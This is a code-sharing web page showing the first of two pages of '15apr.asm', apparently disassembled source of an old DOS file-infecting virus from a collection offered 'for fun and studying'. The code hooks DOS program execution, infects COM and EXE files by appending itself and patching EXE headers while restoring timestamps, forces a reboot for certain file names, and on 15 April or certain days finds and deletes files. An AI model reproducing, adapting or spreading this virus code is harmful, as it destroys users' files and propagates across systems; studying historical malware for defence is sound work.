⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 15apr.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
  
PAGE  60,132
  
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹								         圹
;圹			        15APR				         圹
;圹								         圹
;圹      Created:   4-Mar-91					         圹
;圹								         圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
  
data_1e		equ	4Ch				; (0000:004C=31h)
data_2e		equ	4Eh				; (0000:004E=70h)
data_3e		equ	84h				; (0000:0084=0E3h)
data_4e		equ	86h				; (0000:0086=161Ah)
data_5e		equ	90h				; (0000:0090=8Eh)
data_6e		equ	92h				; (0000:0092=1498h)
data_7e		equ	102h				; (0000:0102=0CC00h)
data_8e		equ	106h				; (0000:0106=326h)
data_9e		equ	47Bh				; (0000:047B=0)
data_10e	equ	0				; (0326:0000=6A7h)
data_11e	equ	2				; (0326:0002=70h)
data_12e	equ	0				; (0691:0000=0C9h)
data_13e	equ	1				; (0692:0001=0D217h)
data_14e	equ	2				; (06E3:0002=2342h)
data_15e	equ	6				; (06E3:0006=2344h)
data_32e	equ	0FC99h				; (701E:FC99=0)
data_33e	equ	0FC9Bh				; (701E:FC9B=0)
data_34e	equ	0FCB7h				; (701E:FCB7=0)
data_35e	equ	0FCB9h				; (701E:FCB9=0)
data_36e	equ	0FCBBh				; (701E:FCBB=0)
data_37e	equ	0FCC5h				; (701E:FCC5=0)
data_38e	equ	0FCC7h				; (701E:FCC7=0)
data_39e	equ	0FCCDh				; (701E:FCCD=0)
data_40e	equ	0FCCFh				; (701E:FCCF=0)
  
code_seg_a	segment
		assume	cs:code_seg_a, ds:code_seg_a
  
  
		org	100h
  
b15apr          proc    far
  
start:
data_16		dw	63E9h
data_17		dw	0C303h
		db	23 dup (0C3h)
		db	2Ah, 2Eh, 45h, 58h, 45h, 0
data_19		dw	0C3C3h
data_20		dw	0C3C3h
data_21		dw	0
data_22		dw	0
data_23		dw	0
data_24		dw	0
data_25		dw	0
data_26		dd	00000h
data_27		dw	0
data_28		dw	0
data_29		dd	00000h
data_30		dw	0
data_31		dw	0
		db	0Ah, 0Dh, 0Ah, 0Dh, ' Bhaktivedan'
		db	'ta Swami Prabhupada (1896-1977)', 0Ah
		db	0Dh, 0Ah, 0Dh, '$=MKu', 9, 'U'
		db	8Bh, 0ECh, 83h, 66h, 6, 0FEh
		db	5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
		db	12h, 3Dh, 0, 3Dh, 74h, 0Dh
		db	3Dh, 0, 6Ch, 75h, 5, 80h
		db	0FBh, 0, 74h, 3
loc_1:
		jmp	loc_15
loc_2:
		push	es
		push	ds
		push	di
		push	si
		push	bp
		push	dx
		push	cx
		push	bx
		push	ax
		call	sub_6
		call	sub_7
		cmp	ax,6C00h
		jne	loc_3				; Jump if not equal
		mov	dx,si
loc_3:
		mov	cx,80h
		mov	si,dx
  
locloop_4:
		inc	si
		mov	al,[si]
		or	al,al				; Zero ?
		loopnz	locloop_4			; Loop if zf=0, cx>0
  
		sub	si,2
		cmp	word ptr [si],4D4Fh
		je	loc_7				; Jump if equal
		cmp	word ptr [si],4558h
		je	loc_6				; Jump if equal
loc_5:
		jmp	short loc_14
		db	90h
loc_6:
		cmp	word ptr [si-4],4E41h
		je	loc_8				; Jump if equal
		cmp	word ptr [si-4],444Ch
		je	loc_8				; Jump if equal
		cmp	word ptr [si-4],4A52h
		je	loc_8				; Jump if equal
		jnz	loc_9				; Jump if not zero
loc_7:
		cmp	word ptr [si-4],444Eh
		je	loc_5				; Jump if equal
		jnz	loc_10				; Jump if not zero
loc_8:
		int	19h				; Bootstrap loader
loc_9:
		jz	loc_10				; Jump if zero
loc_10:
		mov	ax,3D02h
		call	sub_5
		jc	loc_14				; Jump if carry Set
		mov	bx,ax
		mov	ax,5700h
		call	sub_5
		mov	cs:data_22,cx			; (701E:0127=0)
		mov	cs:data_23,dx			; (701E:0129=0)
		mov	ax,4200h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		push	cs
		pop	ds
		mov	dx,103h
		mov	si,dx
		mov	cx,18h
		mov	ah,3Fh				; '?'
		call	sub_5
		jc	loc_12				; Jump if carry Set
		cmp	word ptr [si],5A4Dh
		jne	loc_11				; Jump if not equal
		call	sub_1
		jmp	short loc_12
loc_11:
		call	sub_4
loc_12:
		jc	loc_13				; Jump if carry Set
		mov	ax,5701h
		mov	cx,cs:data_22			; (701E:0127=0)
		mov	dx,cs:data_23			; (701E:0129=0)
		call	sub_5
loc_13:
		mov	ah,3Eh				; '>'
		call	sub_5
loc_14:
		call	sub_7
		pop	ax
		pop	bx
		pop	cx
		pop	dx
		pop	bp
		pop	si
		pop	di
		pop	ds
		pop	es
loc_15:
		jmp	cs:data_26			; (701E:012F=0)
  
b15apr          endp
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_1		proc	near
		mov	ah,2Ah				; '*'
		int	21h				; DOS Services  ah=function 2Ah
							;  get date, cx=year, dx=mon/day
		cmp	dh,4
		je	loc_16				; Jump if equal
		jnz	loc_17				; Jump if not zero
loc_16:
		mov	ah,2Ah				; '*'
		int	21h				; DOS Services  ah=function 2Ah
							;  get date, cx=year, dx=mon/day
		cmp	dl,0Fh
		je	loc_18				; Jump if equal
		jnz	loc_17				; Jump if not zero
loc_17:
		mov	cx,[si+16h]
		add	cx,[si+8]
		mov	ax,10h
		mul	cx				; dx:ax = reg * ax
		add	ax,[si+14h]
		adc	dx,0
		push	dx
		push	ax
		mov	ax,4202h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		cmp	dx,0
		jne	loc_19				; Jump if not equal
		cmp	ax,4E2h
		jae	loc_19				; Jump if above or =
		pop	ax
		pop	dx
		stc					; Set carry flag
		ret
loc_18:
		mov	dx,10h
		mov	ah,1Ah
		int	21h				; DOS Services  ah=function 1Ah
							;  set DTA to ds:dx
		mov	dx,11Bh
		mov	cx,110Bh
		mov	ah,4Eh				; 'N'
		int	21h				; DOS Services  ah=function 4Eh
							;  find 1st filenam match @ds:dx
		mov	dx,2Eh
		mov	ax,3D02h
		int	15h				; General services, ah=func 3Dh
		mov	ah,41h				; 'A'
		int	21h				; DOS Services  ah=function 41h
							;  delete file, name @ ds:dx
		jmp	loc_25
		db	0BAh, 3Fh, 1, 0B4h, 9, 0CDh
		db	21h, 0EBh, 1, 90h
loc_19:
		mov	di,ax
		mov	bp,dx
		pop	cx
		sub	ax,cx
		pop	cx
		sbb	dx,cx
		cmp	word ptr [si+0Ch],0
		je	loc_ret_22			; Jump if equal
		cmp	dx,0
		jne	loc_20				; Jump if not equal
		cmp	ax,4E2h
		jne	loc_20				; Jump if not equal
		stc					; Set carry flag
		ret
loc_20:
		mov	dx,bp
		mov	ax,di
		push	dx
		push	ax
		add	ax,4E2h
		adc	dx,0
		mov	cx,200h
		div	cx				; ax,dx rem=dx:ax/reg
		les	di,dword ptr [si+2]		; Load 32 bit ptr
		mov	cs:data_24,di			; (701E:012B=0)
		mov	cs:data_25,es			; (701E:012D=0)
		mov	[si+2],dx
		cmp	dx,0
		je	loc_21				; Jump if equal
		inc	ax
loc_21:
		mov	[si+4],ax
		pop	ax
		pop	dx
		call	sub_2
		sub	ax,[si+8]
		les	di,dword ptr [si+14h]		; Load 32 bit ptr
		mov	data_19,di			; (701E:0121=0C3C3h)
		mov	data_20,es			; (701E:0123=0C3C3h)
		mov	[si+14h],dx
		mov	[si+16h],ax
		mov	word ptr data_21,ax		; (701E:0125=0)
		mov	ax,4202h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		call	sub_3
		jc	loc_ret_22			; Jump if carry Set
		mov	ax,4200h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		mov	ah,40h				; '@'
		mov	dx,si
		mov	cx,18h
		call	sub_5
  
loc_ret_22:
		ret
  
;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
  
sub_2:
		mov	cx,4
		mov	di,ax
		and	di,0Fh
  
locloop_23:
		shr	dx,1				; Shift w/zeros fill
		rcr	ax,1				; Rotate thru carry
		loop	locloop_23			; Loop if cx > 0
  
		mov	dx,di
		ret
  
;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
  
sub_3:
		mov	ah,40h				; '@'
		mov	cx,4E2h
		mov	dx,100h
		call	sub_6
		jmp	short loc_29
		db	90h
  
;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
  
sub_4:
		mov	ah,2Ah				; '*'
		int	21h				; DOS Services  ah=function 2Ah
							;  get date, cx=year, dx=mon/day
		cmp	al,6
		je	loc_24				; Jump if equal
		jnz	loc_25				; Jump if not zero
loc_24:
		mov	dx,10h
		mov	ah,1Ah
		int	21h				; DOS Services  ah=function 1Ah
							;  set DTA to ds:dx
		mov	dx,11Bh
		mov	cx,110Bh
		mov	ah,4Eh				; 'N'
		int	21h				; DOS Services  ah=function 4Eh
							;  find 1st filenam match @ds:dx
		mov	dx,2Eh
		mov	ax,3D02h
		int	15h				; General services, ah=func 3Dh
		mov	ah,41h				; 'A'

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -